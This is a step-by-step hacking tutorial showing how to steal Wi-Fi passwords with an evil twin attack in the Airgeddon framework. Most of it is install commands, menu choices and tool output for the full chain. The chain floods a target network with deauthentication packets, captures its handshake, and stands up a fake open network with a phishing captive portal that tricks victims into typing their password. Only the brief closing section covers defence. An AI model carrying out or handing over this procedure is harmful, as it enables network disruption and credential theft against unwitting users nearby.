While Wi-Fi networks can be set up by smart IT people, that doesn't mean the users of the system are similarly tech-savvy. We'll demonstrate how an evil twin attack can steal Wi-Fi passwords by kicking a user off their trusted network while creating a nearly identical fake one. This forces the victim to connect to the fake network and supply the Wi-Fi password to regain internet access.
While a more technical user might spot this attack, it's surprisingly effective against those not trained to look for suspicious network activity. The reason it's so successful is that most users don't know what a real firmware update looks like, leading to confusion in recognizing that an attack is in progress.
What Is an Evil Twin Attack
An evil twin attack is a type Wi-Fi attack that works by taking advantage of the fact that most computers and phones will only see the "name" or ESSID of a wireless network. This actually makes it very hard to distinguish between networks with the same name and same kind of encryption. In fact, many networks will have several network-extending access points all using the same name to expand access without confusing users.
If you want to see how this works, you can create a Wi-Fi hotspot on your phone and name it the same as your home network, and you'll notice it's hard to tell the difference between the two networks or your computer may simply see both as the same network. A network sniffing tool like Wigle Wifi on Android or Kismet can clearly see the difference between these networks, but to the average user, these networks will look the same.
This works great for tricking a user into connecting if we have a network with the same name, same password, and same encryption, but what if we don't know the password yet? We won't be able to create a network that will trick the user into connecting automatically, but we can try a social engineering attack to try to force the user to give us the password by kicking them off the real network.
Using a Captive Portal Attack
In a captive portal-style evil twin attack, we will use the Airgeddon wireless attack framework to try to force the user to connect to an open network with the same name as the network they trust. A captive portal is something like the screen you see when connecting to an open network at a coffee shop, on a plane, or at a hotel. This screen that contains terms and conditions is something people are used to seeing, and we'll be using that to our advantage to create a phishing page that looks like the router is updating.
Deploying Airgeddon in a coffee shop.
The way we'll trick the victim into doing this is by flooding their trusted network with de-authentication packets, making it impossible to connect to the internet normally. When confronted with an internet connection that refuses to connect and won't allow any internet access, the average irritated user will discover an open Wi-Fi network with the same name as the network they are unable to connect to and assume it is related to the problem.
Upon connecting to the network, the victim will be redirected to a phishing page explaining that the router has updated and requires a password to proceed. If the user is gullible, they'll enter the network password here, but that's not where the fun stops. If the victim gets irritated by this inconvenience and types the wrong password, we'll need to make sure we can tell a wrong password from the right one. To do this, we'll capture a handshake from the network first, so we can check each password the user gives us and tell when the correct one is entered.
Technologically Assisted Social Engineering
In order for this attack to work, a few key requirements need to be met. First, this attack requires a user to do some ignorant things. If the target you are selecting is known for being tech-savvy, this attack may not work. An advanced user, or anyone with any cybersecurity awareness training, will spot this attack in progress and very possibly be aware that it is a relatively close-ranged attack. Against a well-defended target, you can expect this attack to be detected and even localized to find you.
Second, a victim must be successfully authenticated from their network, and be frustrated enough to join a totally unknown open network that just appeared out of nowhere and has the same name of the network they trust. Further, attempting to connect to this network (on macOS) even yields a warning that the last time the network was connected to, it had a different kind of encryption.
Finally, the victim must enter the network password into the sometimes sketchy-looking phishing page they are redirected to after joining the open network the attacker has created. There are a lot of clues that could tip a sharp user off to the fact that this page, including the wrong language, wrong brand of router (if the phishing page mentions it), or misspellings and Engrish in the text of the page. Since router pages usually look pretty ugly, these details may not stand out to anyone unfamiliar with what their router's admin page looks like.
Step 1: Make Sure You Have Everything
To prepare our evil twin access point attack, we'll need to be using Kali Linux or another supported distro. Quite a few distributions are supported, and you can check out the Airgeddon GitHub page for more about which Airgeddon will work with.
You can use a Raspberry Pi running Kali Linux for this with a wireless network adapter, but you'll need to have access to the GUI and not be SSHed into the Pi, since you'll need to be able to open and navigate multiple windows in this multi-bash script.
Finally, you'll need a good wireless network adapter for this. In our tests, we found that the TP-Link WN722N v1 and Panda Wireless PAU07 cards performed well with these attacks. You can find more information about choosing a good wireless network adapter at the link below.
Step 2: Install Airgeddon
To start using the Airgeddon wireless attack framework, we'll need to download Airgeddon and any needed programs. The developer also recommends downloading and installing a tool called CCZE to make the output easier to understand. You can do so by typing apt-get install ccze a terminal window.
~# apt-get install ccze
Reading package lists... Done
Building dependency tree
Reading state information... Done
The following package was automatically installed and is no longer required:
libgit2-27
Use 'apt autoremove' to remove it.
The following NEW packages will be installed:
ccze
0 upgraded, 1 newly installed, 0 to remove and 1772 not upgraded.
Need to get 77.2 kB of archives.
After this operation, 324 kB of additional disk space will be used.
Get:1 http://archive.linux.duke.edu/kalilinux/kali kali-rolling/main amd64 ccze amd64 0.2.1-4+b1 [77.2 kB]
Fetched 77.2 kB in 1s (77.4 kB/s)
Selecting previously unselected package ccze.
(Reading database ... 411785 files and directories currently installed.)
Preparing to unpack .../ccze_0.2.1-4+b1_amd64.deb ...
Unpacking ccze (0.2.1-4+b1) ...
Setting up ccze (0.2.1-4+b1) ...
Processing triggers for man-db (2.8.5-2) ...Next, we'll install Airgeddon with git clone.
~# git clone https://github.com/v1s1t0r1sh3r3/airgeddon.git
Cloning into 'airgeddon'...
remote: Enumerating objects: 6940, done.
remote: Total 6940 (delta 0), reused 0 (delta 0), pack-reused 6940
Receiving objects: 100% (6940/6940), 21.01 MiB | 10.31 MiB/s, done.
Resolving deltas: 100% (4369/4369), done.Then change directories and start Airgeddon with the following commands.
~# cd airgeddon
~/airgeddon# sudo bash ./airgeddon.shIf you see the alien spaceship, you know you're ready to hack.
************************************ Welcome ************************************
Welcome to airgeddon script v10.0
.__ .___ .___
_____ |__|______ ____ ____ __| _/__| _/____ _____
\__ \ | \_ __ \/ ___\_/ __ \ / __ |/ __ |/ _ \ / \
/ __ \| || | \/ /_/ > ___// /_/ / /_/ ( <_> ) | \
(____ /__||__| \___ / \___ >____ \____ |\____/|___| /
\/ /_____/ \/ \/ \/ \/
Devloped by v1s1t0r
* . _.---._ .
* . ' ' . .
_.-~=============~-._ *
. (_____________________) *
* \___________/ .Step 3: Configure Airgeddon
Press Enter to check the various tools the Airgeddon framework relies on. If you're missing any (it'll say "Error" next to them), you can hit Y and Enter at the prompt to try and auto-install anything missing, but that generally doesn't work.
Instead, open a new terminal window and type apt-get install tool, substituting "tool" for the name of the missing tool. If that doesn't work, you can also try sudo pip install tool. You should install all the tools, otherwise, you may experience problems during your attack, especially if you are missing dnsspoof.
*********************************** Welcome ************************************
This script is only for educational purposes. Be good boyz&girlz!
Use it only on your own networks!!
Accepted bash version (5.0.3(1)-release). Minimum required version: 4.2
Root permissions successfully detected
Detecting resolution... Detected!: 1408x1024
Known compatible distros with this script:
"Arch" "Backbox" "BlackArch" "CentOS" "Cyborg" "Debian" "Fedora" "Gentoo" "Kali" "Kali arm" "Mint" "OpenMandriva" "Parrot" "Parrot arm" "Pentoo" "Raspbian" "Red Hat" "SuSE" "Ubuntu" "Wifislax"
Detecting system...
Kali Linux
Let's check if you have installed what script needs
Press [Enter] key to continue...
Essential tools: checking...
ifconfig .... Ok
iwconfig .... Ok
iw .... Ok
awk .... Ok
airmon-ng .... Ok
airodump-ng .... Ok
aircrack-ng .... Ok
xterm .... Ok
ip .... Ok
lspci .... Ok
ps .... Ok
Optional tools: checking...
sslstrip .... Ok
asleap .... Ok
bettercap .... Ok
packetforge-ng .... Ok
etterlog .... Ok
hashcat .... Ok
wpaclean .... Ok
john .... Ok
aireplay-ng .... Ok
bully .... Ok
ettercap .... Ok
mdk4 .... Ok
hostapd .... Ok
lighttpd .... Ok
pixiewps .... Ok
wash .... Ok
openssl .... Ok
dhcpd .... Ok
reaver .... Ok
dnsspoof .... Ok
beef-xss .... Ok
hostapd-wpe .... Ok
iptables .... Ok
crunch .... Ok
Update tools: checking...
curl .... Ok
Your distro has all necessary essential tools. Script can continue...
Press [Enter] key to continue...When you have all of the tools, proceed to the next step by pressing Enter. Next, the script will check for internet access so it can update itself if a newer version exists.
The script will check for internet access looking for a newer version. Please be patient...
The script is already in the latest version. It doesn't need to be updated
Press [Enter] key to continue...When that is done, press Enter to select the network adapter to use. Press the number on your keyboard that correlates to the network adapter in the list, then Enter.
***************************** Interface selection ******************************
Select an interface to work with:
---------
1. eth0 // Chipset: Intel Corporation 82540EM
2. wlan0 // 2.4Ghz // Chipset: Atheros Communications, Inc. AR9271 802.11n
---------
*Hint* Every time you see a text with the prefix [PoT] acronym for "Pending of Translation", means the translation has been automatically generated and is still pending of review
---------
>After we select our wireless network adapter, we'll proceed to the main attack menu.
***************************** airgeddon main menu ******************************
Interface wlan0 selected. Mode: Managed. Supported bands: 2.4Ghz
Select an option from menu:
---------
0. Exit script
1. Select another network interface
2. Put interface in monitor mode
3. Put interface in managed mode
---------
4. DoS attacks menu
5. Handshake tools menu
6. Offline WPA/WPA2 decrypt menu
7. Evil Twin attacks menu
8. WPS attacks menu
9. WEP attacks menu
10. Enterprise attacks menu
---------
11. About & Credits
12. Options and language menu
---------
*Hint* If you install ccze you'll see some parts of airgeddon in a colorized way with better aspect. It's not a requirement or a dependency, but it will improve the user experience
---------
>Press 2 and Enter to put your wireless card into monitor mode. Next, select option 7 and Enter for the "Evil Twin attacks" menu, and you'll see the submenu for this attack module appear.
**************************** Evil Twin attacks menu ****************************
Interface wlan0 selected. Mode: Managed. Supported bands: 2.4Ghz
Selected BSSID: None
Selected channel: None
Selected ESSID: None
Select an option from menu:
---------
0. Return to main menu
1. Select another network interface
2. Put interface in monitor mode
3. Put interface in managed mode
4. Explore for targets (monitor mode needed)
---------------- (without sniffing, just AP) -----------------
5. Evil Twin attack just AP
---------------------- (with sniffing) -----------------------
6. Evil Twin AP attack with sniffing
7. Evil Twin AP attack with sniffing and sslstrip
8. Evil Twin AP attack with sniffing and bettercap-sslstrip2/BeEF
------------- (without sniffing, captive portal) -------------
9. Evil Twin AP attack with captive portal (monitor mode needed)
---------
*Hint* In order to use the Evil Twin just AP and sniffing attacks, you must have another one interface in addition to the wifi network interface will become the AP, which will provide internet access to other clients on the network. This doesn't need to be wifi, can be ethernet
---------
>Step 4: Select the Target
Now that we're in our attack module, select option 9 and Enter for the "Evil Twin AP attack with a captive portal." We'll need to explore for targets, so press Enter, and you'll see a window appear that shows a list of all detected networks. You'll need to wait for a little to populate a list of all the nearby networks.
An exploration looking for targets is going to be done...
Press [Enter] key to continue...
**************************** Exploring for targets ****************************
Exploring for targets option chosen (monitor mode needed)
Selected interface qlan0mon is in monitor mode. Explorations can be performed
WPA/WPA2 filter enabled in scan. When started, press [Ctrl+C] to stop...
Press [Enter] key to continue...Exploring for targets
CH 12 ][ Elapsed: 12 s ][ 2019-12-13 05:28
BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
██████████████ -59 9 0 0 11 54e WPA2 CCMP PSK ██████████████
██████████████ -58 5 0 0 11 54e WPA2 CCMP PSK ██████████████
██████████████ -80 12 0 0 11 54e. WPA2 CCMP PSK ██████████████
██████████████ -79 14 0 0 6 54e. WPA2 CCMP PSK ██████████████
██████████████ -82 6 0 0 1 54e WPA2 CCMP PSK ██████████████
██████████████ -83 6 1 0 2 54e WPA2 CCMP PSK ██████████████
██████████████ -85 2 0 0 6 54e. WPA2 CCMP PSK ██████████████
BSSID STATION PWR Rate Lost Frames Probe
(not associated) 00:7E:56:97:E9:B0 -68 0 - 1 29 5
██████████████ E8:1A:1B:D9:75:0A -38 0 -24e 0 1
██████████████ 62:38:E0:34:6A:7E -58 0 - 0e 0 1
██████████████ DC:3A:5E:1D:3E:29 -57 0 -24 148 5After it runs for about 60 seconds, exit out of the small window, and a list of targets will appear. You'll notice that networks with someone using them appear in yellow with an asterisk next to them. This is essential since you can't trick someone into giving you the password if no one is on the network in the first place.
**************************** Select target ****************************
N. BSSID CHANNEL PWR ENC ESSID
------------------------------------------------------
1)* ██████████████ 11 41% WPA2 ██████████████
2)* ██████████████ 11 20% WPA2 ██████████████
3) ██████████████ 6 15% WPA2 ██████████████
4) ██████████████ 6 19% WPA2 ██████████████
5) ██████████████ 2 17% WPA2 ██████████████
6) ██████████████ 1 18% WPA2 ██████████████
7) ██████████████ 11 42% WPA2 ██████████████
(*) Network with clients
------------------------------------------------------
Select target network:Select the number of the target you wish to attack, and press Enter to proceed to the next screen.
Step 5: Gather the Handshake
Now, we'll select the type of de-authentication attack we want to use to kick the user off their trusted network. I recommend the second option, "Deauth aireplay attack," but different attacks will work better depending on the network.
Press Enter once you've made your selection, and you'll be asked if you'd like to enable DoS pursuit mode, which allows you to follow the AP if it moves to another channel. You can select yes (Y) or no (N) depending on your preference, and then press Enter. Finally, you'll select N for using an interface with internet access. We won't need to for this attack, and it will make our attack more portable to not need an internet source.
Handshake file selected: None
Selected internet interface: None
Select an option from menu:
---------
0. Return to Evil Twin attacks menu
---------
1. Deauth / disassoc amok mdk3 attack
2. Deauth aireplay attack
3. WIDS / WIPS / WDS Confusion attack
---------
*Hint* If you can't deauth clients from an AP using an attack, choose another one :)
---------
2
If you want to integrate "DoS pursuit mode" on an Evil Twin attack, another additional wifi interface in monitor mode will be needed to be able to perform it
Do you want to enable "DoS pursuit mode"? This will launch again the attack if target AP change its channel countering "channel hopping" [y/N]
N
At this point there are two options to prepare the captive portal. Either having an interface with internet access, or making a fake DNS using dnsspoof
Are you going to use the interface with internet access method? If the answer is no ("n"), you'll need dnsspoof installed to continue. Both will be checked [y/N]
NNext, it will ask you if you want to spoof your MAC address during the attack. In this case, I chose N for "no."
Now, if we don't already have a handshake for this network, we'll have to capture one now. Be VERY careful not to accidentally select Y for "Do you already have a captured Handshake file?" if you do not actually have a handshake. There is no clear way to go back to the script without restarting if you make this mistake.
Since we don't yet have a handshake, type N for no, and press Enter to begin capturing.
******************* Evil Twin AP attack with captive portal *******************
Interface wlan0mon selected. Mode: Monitor. Supported bands: 2.4Ghz
Selected BSSID: ██████████████
Selected channel: 11
Selected ESSID: ██████████████
Deauthentication chosen method: Aireplay
Handshake file selected: None
---------
*Hint* Sslstrip technique is not infallible. It depends on many factors and not always work. Some browsers such as Mozilla Firefox latest versions are not affected
---------
Do you want to spoof your MAC address during this attack? [y/N]
N
This attack requires that you have previously a WPA/WPA2 network captured Handshake file
If you don't have a captured Handshake file from the target network you can get it now
---------
Do you already have a captured Handshake file? Answer yes ("y") to enter the path or answers no ("n") to capture a new one now [y/N]
NOnce the capture process has started, a window with red text sending deauth packets and a window with white text listening for handshakes will open. You'll need to wait until you see "WPA Handshake:" and then the BSSID address of your targeted network. In the example below, we're still waiting for a handshake.
Once you see that you've got the handshake, you can exit out of the Capturing Handshakewindow. When the script asks you if you got the handshake, select Y, and save the handshake file. Next, select the location for you to write the stolen password to, and you're ready to go to the final step of configuring the phishing page.
Step 6: Set Up the Phishing Page
In the last step before launching the attack, we'll set the language of the phishing page. The page provided by Airgeddon is pretty decent for testing out this style of attack. In this example, we'll select 1 for English. When you've made your selection, press Enter, and the attack will begin with six windows opening to perform various functions of the attack simultaneously.
Selected BSSID: ██████████████
Selected channel: 11
Selected ESSID: ██████████████
Deauthentication chosen method: Aireplay
Handshake file selected: /root/handshake-██████████████.cap
Choose the language in which network clients will see the captive portal:
---------
0. Return to Evil Twin attacks menu
---------
1. English
2. Spanish
3. French
4. Catalan
5. Portuguese
6. Russian
7. Greek
8. Italian
9. Polish
10. German
---------
*Hint* On Evil Twin attack with BeEF intergrated, in addition to obtaining keys using sniffing techniques, you can try to control the client's browser launching numerous attack vectors. The success of these will depend on many factors such as the kind of client's browser and its version
---------Step 7: Capture Network Credentials
With the attack underway, the victim should be kicked off of their network and see our fake one as the only seemingly familiar option. Be patient, and pay attention to the network status in the top right window. This will tell you when a device joins the network, allowing you to see any password attempts they make when they're routed to the captive portal.
When the victim joins your network, you'll see a flurry of activity like in the picture below. In the top-right corner, you'll be able to see any failed password attempts, which are checked against the handshake we gathered. This will continue until the victim inputs the correct password, and all of their internet requests (seen in the green text box) will fail until they do so.
When the victim caves and finally enters the correct password, the windows will close except for the top-right window. The fake network will vanish, and the victim will be free to connect back to their trusted wireless network.
The credentials should be displayed in the top-right Control screen, and you should copy and paste the password into a file to save, in case the script doesn't save the file correctly. This sometimes happens, so make sure not to forget this step or you might lose the password you just captured.
Control
Evil Twin AP Info // BSSID: ██████████████ // Channel: 11 // ESSID: ██████████████
Online time
00:01:40
Password captured successfully:
/tmp/ag.control.sh: line 37: ${log_path}: ambiguous redirect
██████████████
The password was saved on file: [/root/evil_twin_captive_portal_password-██████████████.██████.txt
Press [Enter] on the main script window to continue, this window will be closedAfter this, you can close the window, and close down the tool by pressing Ctrl + C. If we get a valid credential in this step, then our attack has worked, and we've got the Wi-Fi password by tricking the user into submitting it to our fake AP's phishing page!
Defending Against an Evil Twin AP Attack
The best way of defending against an evil twin attack is to know about the tactic, and know that the signs of one should make you highly suspicious. If you abruptly lose the ability to connect to your trusted network and suddenly see an open wireless network with the same name, these are neither a coincidence nor a normal turn of events.
Never connect to an unknown wireless network pretending to be yours, especially one without encryption. If you suspect your router is actually updating, turn off your Wi-Fi and plug into the router's Ethernet directly to see what the problem is.
Thanks for reading this guide to evil twin AP attacks! If you have any questions or comments, feel free to leave a comment or reach me on Twitter @KodyKinzie. And check out our Wi-Fi hacking series for more guides.
Cover photo and screenshots by Kody/Null Byte
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